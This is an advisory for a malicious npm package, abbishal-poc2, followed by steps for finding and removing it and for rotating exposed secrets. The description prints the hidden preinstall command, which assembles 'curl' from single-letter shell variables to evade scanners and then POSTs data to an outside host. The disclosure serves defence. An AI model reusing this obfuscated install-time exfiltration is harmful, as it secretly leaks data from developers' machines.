MAL-2026-17654 Malicious code in abbishal-poc2 (npm)
Malicious package
Published
MAL-2026-17654 is a malicious package: abbishal-poc2 (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17654/ (Markdown: https://insights.sbomify.com/MAL-2026-17654/index.md)
- Package
- abbishal-poc2
- Registry
- npm
What is MAL-2026-17654?
MAL-2026-17654 is a malicious package in abbishal-poc2, published on 8 Oct 2026.
Official description
package.json declares a preinstall script
sh./test.sh. test.sh assembles the string curl from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes $i$h$l -d "uptime" https://abbishal.com/sh/poc, POSTing the output of uptime (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for curl in lifecycle scripts, and the destination domain does not match the package's claimed publisher.What should I do about MAL-2026-17654?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.